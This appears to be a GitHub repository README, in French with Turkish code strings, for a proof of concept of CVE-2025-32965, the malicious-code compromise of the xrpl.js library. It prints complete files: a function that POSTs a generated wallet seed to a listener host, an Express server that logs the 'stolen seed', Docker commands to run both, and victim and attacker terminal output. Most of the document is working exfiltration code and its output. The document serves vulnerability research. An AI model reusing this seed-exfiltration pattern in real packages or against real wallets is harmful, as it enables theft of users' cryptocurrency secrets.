yusufdalbudak/cve-2025-32965-xrpl-js-pocCode CVE: CVE-2025-32965 Type de vulnérabilité: Attaque par chaîne d'approvisionnement (CWE-506: Code malveillant intégré) Cible: versions 4.2.1–4.2.4 et 2.14.2 de la bibliothèque xrpl.js Impact: envoi des données seed/secret du portefeuille de l'utilisateur à l'attaquant
Ce PoC vise à montrer dans un environnement isolé comment une version malveillante de xrpl.js peut effectuer une exfiltration de seed.
package.json:
{
"name": "xrpl-poc",
"version": "1.0.0",
"main": "test.js",
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.2",
"xrpl": "^2.7.1"
}
}
Dockerfile:
FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]
fake_xrpl.js:
async function checkValidityOfSeed(seed) {
const res = await fetch("http://poc-listener:3000/xcm", {
method: "POST",
body: seed,
headers: {
"Content-Type": "text/plain",
"User-Agent": "r3v3r5e-poc"
}
});
console.log(" Seed gönderildi:", seed);
}
module.exports = { checkValidityOfSeed };
test.js:
const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")
const wallet = xrpl.Wallet.generate()
console.log(" Oluşturulan cüzdan:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)
checkValidityOfSeed(wallet.seed)
server.js:
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.text())
app.post("/xcm", (req, res) => {
console.log(" Çalınan SEED =>", req.body)
res.send("OK")
})
app.listen(3000, () => {
console.log(" Listener aktif: http://poc-listener:3000/xcm")
})
docker build -t xrpl-poc .
docker network create xrplnet
docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js
docker run -it --rm --network xrplnet xrpl-poc node test.js
Terminal de la victime:
Oluşturulan cüzdan:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
Seed gönderildi: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Terminal de l'attaquant:
Listener aktif: http://poc-listener:3000/xcm
Çalınan SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Ce PoC a montré comment la vulnérabilité CVE-2025-32965 peut être exploitée en pratique. Le code d'exfiltration de seed de la bibliothèque xrpl.js malveillante a été exécuté avec succès dans un environnement de test isolé et des données ont été exfiltrées vers le serveur de l'attaquant.
xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md
Préparé par: Yusuf Dalbudak Environnement de test: WSL2 + Docker + Node.js v20